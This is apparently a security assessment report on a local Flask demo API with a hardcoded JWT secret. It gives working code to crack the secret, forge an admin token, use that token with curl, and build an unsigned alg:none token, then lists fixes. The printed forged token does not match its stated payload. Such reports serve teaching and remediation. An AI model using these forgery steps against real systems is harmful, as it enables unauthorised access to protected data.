

Planetary API - JWT Attack Report

Target Application

Application: Planetary API (Flask)
JWT Library: PyJWT 1.7.1
JWT Framework: Flask-JWT-Extended 3.17.0
Configured Secret: "super-secret" (hardcoded in app.py)
Vulnerability: CWE-798 Use of Hardcoded Credentials

Attack 1: Brute-Force / Dictionary Attack on JWT Secret

The JWT HMAC secret is a short, guessable string. An attacker can capture any valid token (e.g. from network traffic or browser storage) and crack the secret offline using tools like hashcat or a simple script.

```
# Crack with hashcat (mode 16500 = JWT)
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# Or brute-force with Python:
import jwt
token = "eyJ0eXAiOi..."
with open("/usr/share/dict/words") as f:
    for word in f:
        try:
            jwt.decode(token, word.strip(), algorithms=["HS256"])
            print(f"SECRET: {word.strip()}")
            break
        except jwt.InvalidSignatureError:
            continue
```

Result: Secret "super-secret" is cracked instantly.

Attack 2: Token Forgery (Demonstrated Live)

With the known secret, an attacker can forge a valid JWT for any identity without ever logging in. The forged user does not even need to exist in the database.

Step 1: Access denied without a token

```
$ curl http://localhost:5001/get_planet/Vulcan
{"msg": "Missing Authorization Header"}
```

Step 2: Forge a token for a fake admin user

```
import jwt
forged = jwt.encode(
    {"identity": "admin@planetary-api.com"},
    "super-secret",
    algorithm="HS256"
)
```

Step 3: Forged token value

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJpZGVudGluZSI6ImFkbWluQHBSYW5ldGFyeS1hcGkuY29tIn0.
6-m_rONo688ZrzvVoR5bISmntqXvy3UUpEIE0oufwaI
```

Step 4: Decoded payload

```
{"identity": "admin@planetary-api.com"}
```

Planetary API - JWT Attack Report

Step 5: Access protected endpoint with forged token

```
$ curl http://localhost:5001/get_planet/Vulcan \
-H "Authorization: Bearer eyJ0eXAi..."
```

Response (200 OK):

```
{
  "planet_name": "Vulcan",
  "planet_type": "Class M",
  "home_star": "40 Eridani A",
  "mass": 4.86457e+24,
  "radius": 3760.0,
  "distance": 150240000.0
}
```

Result: The server accepted the forged token and returned protected data.

Attack 3: Algorithm Confusion (alg: none)

PyJWT 1.7.1 is vulnerable to accepting tokens with algorithm set to 'none', which removes signature verification entirely. While Flask-JWT-Extended 3.17.0 mitigates this by specifying `algorithms=['HS256']` internally, the underlying library remains exploitable if used directly.

```
import base64, json
header = base64.urlsafe_b64encode(json.dumps(
    {"alg": "none", "typ": "JWT"}
).encode()).rstrip(b"=")
payload = base64.urlsafe_b64encode(json.dumps(
    {"identity": "admin@planetary-api.com"}
).encode()).rstrip(b"=")
forged = header.decode() + "." + payload.decode() + "."
```

Recommendations

1. Use a strong, random secret (256+ bits) loaded from an environment variable:
`app.config["JWT_SECRET_KEY"] = os.environ["JWT_SECRET_KEY"]`
2. Upgrade PyJWT to 2.x+ which rejects `alg:none` by default.
3. Upgrade Flask-JWT-Extended to 4.x+ for improved security defaults.
4. Set token expiration (`exp` claim) to limit the window of token reuse.
5. Implement token revocation (blocklist) for logout and compromise scenarios.
6. Never store tokens in `localStorage`; prefer `httpOnly` secure cookies.